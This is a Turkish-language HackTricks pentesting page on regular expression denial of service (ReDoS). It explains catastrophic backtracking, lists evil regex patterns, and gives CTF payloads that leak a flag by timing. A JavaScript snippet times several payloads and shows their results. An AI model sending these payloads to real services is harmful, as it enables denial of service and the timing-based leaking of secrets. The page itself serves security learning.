Regular expression Denial of Service - ReDoS

Düzenli İfade Hizmet Dışı Bırakma - ReDoS

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Düzenli İfade Hizmet Dışı Bırakma (ReDoS)

Bir Düzenli İfade Hizmet Dışı Bırakma (ReDoS), düzenli ifadelerin (metinde desenleri aramak ve eşleştirmek için bir yol) nasıl çalıştığındaki zayıflıklardan faydalanıldığında meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle çalıştıkları metin parçası büyüdükçe, çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutunda bile küçük artışlarla hızla büyüyebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeler kullanan bir programın uzun süre düzgün çalışmasını engelleyebilir.

Sorunlu Regex Naif Algoritması

Detayları https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS adresinde kontrol edin.

Kötü Amaçlı Regexler

Kötü bir düzenli ifade deseni, bir DoS'a neden olacak şekilde oluşturulmuş girdide takılı kalabilen bir desendir. Kötü amaçlı regex desenleri genellikle tekrarlayan gruplama ve tekrarlama veya tekrarlayan grup içinde örtüşme içeren desenler içerir. Kötü desen örnekleri şunları içerir:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} için x > 10

Tüm bunlar, aaaaaaaaaaaaaaaaaaaaaaaa! girdisine karşı savunmasızdır.

ReDoS Yükleri

ReDoS Aracılığıyla Dize Sızdırma

Bir CTF (veya hata ödülü) sırasında, hassas bilgilerin (bayrak) eşleştiği Regex'i siz kontrol edebilirsiniz. Ardından, bir Regex eşleşirse sayfayı dondurmanız (zaman aşımı veya daha uzun işleme süresi) ve eşleşmezse dondurmamanız yararlı olabilir. Bu şekilde, dizeyi karakter karakter sızdırabilirsiniz:

  • Bu gönderide şu ReDoS kuralını bulabilirsiniz: ^(?=<flag>)((.*)*)*salt$

  • Örnek: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • Bu çözümde şunu bulabilirsiniz: <flag>(((((((.*)*)*)*)*)*)*)!

  • Bu çözümde şunu kullandı: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Giriş ve Regex'i Kontrol Eden ReDoS

Aşağıdakiler, girişi ve regex'i kontrol ettiğiniz ReDoS örnekleridir:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Araçlar

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated